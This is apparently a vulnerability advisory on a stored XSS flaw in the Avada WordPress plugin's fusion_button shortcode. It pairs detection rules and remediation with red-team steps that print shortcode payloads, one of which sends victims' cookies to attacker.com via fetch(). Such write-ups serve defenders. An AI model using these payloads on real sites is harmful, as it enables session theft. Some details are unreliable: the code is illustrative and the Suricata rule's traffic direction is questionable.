CVE-2024-5628

Executive Summary

CVE-2024-5628 is a Stored Cross-Site Scripting (XSS) vulnerability in the Avada | Website Builder For WordPress & eCommerce plugin for WordPress. The flaw resides in the fusion_button shortcode, where user-supplied attributes are insufficiently sanitized and escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators or site visitors) accesses a page containing the malicious shortcode, the injected script executes in their browser context.

This vulnerability affects all versions up to and including 3.11.9. A partial fix was released in version 3.11.9, but additional hardening for alternate attack vectors was added in version 3.11.10. As a WordPress plugin vulnerability, it is part of the broader WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the Avada WordPress plugin, which is distributed via the WordPress plugin repository and commercial channels. The plugin is a premium product, meaning many sites may be running outdated or unpatched versions. The supply chain risk is moderate: attackers can exploit this to compromise WordPress sites, potentially leading to further supply chain attacks if the compromised site is used to distribute malicious updates or content.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (vulnerability can impact resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access, but Contributor-level is relatively easy to obtain in many WordPress setups. The impact is limited to script execution, but can be used to steal session cookies, deface pages, or redirect users to malicious sites.

Deep Dive & Mechanics

The fusion_button shortcode is used to create styled buttons in Avada. The plugin processes user-supplied attributes (e.g., link, color, target) without proper sanitization or output escaping. An attacker with Contributor-level access can craft a shortcode like:

[fusion_button link="javascript:alert('XSS')"]Click Me[/fusion_button]

Or inject event handlers:

[fusion_button link="#" onclick="alert('XSS')"]Click Me[/fusion_button]

When the page is rendered, the malicious JavaScript executes in the context of the victim's browser. The vulnerability is stored in the database, so it persists until the content is removed or patched.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.11.9): The plugin directly outputs user-supplied attributes without escaping:

function fusion_button_shortcode($atts) {
    extract(shortcode_atts(array(
        'link' => '#',
        'color' => 'default',
    ), $atts));
    return '<a href="' . $link . '" class="fusion-button">Click Me</a>';
}

Patched Code (3.11.10): The plugin now uses esc_url() and esc_attr() to sanitize and escape attributes:

function fusion_button_shortcode($atts) {
    $atts = shortcode_atts(array(
        'link' => '#',
        'color' => 'default',
    ), $atts);
    $link = esc_url($atts['link']);
    $color = esc_attr($atts['color']);
    return '<a href="' . $link . '" class="fusion-button">Click Me</a>';
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Avada plugin <= 3.11.9
• User account with Contributor-level access or higher

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [fusion_button link="javascript:alert(document.cookie)"]Click Me[/fusion_button]
   

4. Publish the post.
5. When an administrator or visitor views the post, the JavaScript executes.

Alternative Payload:

[fusion_button link="#" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]Click Me[/fusion_button]

Blue Team

Detection:

• Monitor for posts/pages containing suspicious shortcode attributes (e.g., javascript:, onclick, onerror).
• Use WAF rules to block requests with fusion_button containing javascript: or event handlers.
• Review user activity logs for Contributor-level users creating posts with unusual shortcode usage.

Honeypot:

• Create a fake page with a known vulnerable shortcode and monitor for access by administrators.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/Avada/includes/shortcodes/button.php (or similar path)
• Database: Posts/pages containing [fusion_button with javascript: or event handler attributes.
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress debug logs showing esc_url failures or unusual shortcode parsing.

Detection Engineering

YARA Rule

rule CVE_2024_5628_Avada_XSS {
    meta:
        description = "Detects Avada plugin files vulnerable to CVE-2024-5628"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5628"
    strings:
        $vuln_func = "fusion_button_shortcode" nocase
        $unsafe_output = "return '<a href=\"" nocase
        $esc_url = "esc_url" nocase
    condition:
        $vuln_func and $unsafe_output and not $esc_url
}

Sigma Rule

title: CVE-2024-5628 Avada Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit Stored XSS in Avada fusion_button shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'fusion_button'
        cs-uri-query|contains|any:
            - 'javascript:'
            - 'onclick='
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5628 Avada Stored XSS Attempt"; flow:to_server,established; content:"fusion_button"; http_uri; content:"javascript:"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update Avada plugin to version 3.11.10 or later.
2. Workaround: If update is not possible, disable the fusion_button shortcode via a custom plugin or filter:

   add_shortcode('fusion_button', '__return_false');
   

3. Hardening: Restrict Contributor-level access to trusted users only. Implement Content Security Policy (CSP) headers to mitigate XSS impact.
4. Monitoring: Enable WordPress audit logging to track shortcode usage and post modifications.

Valters IT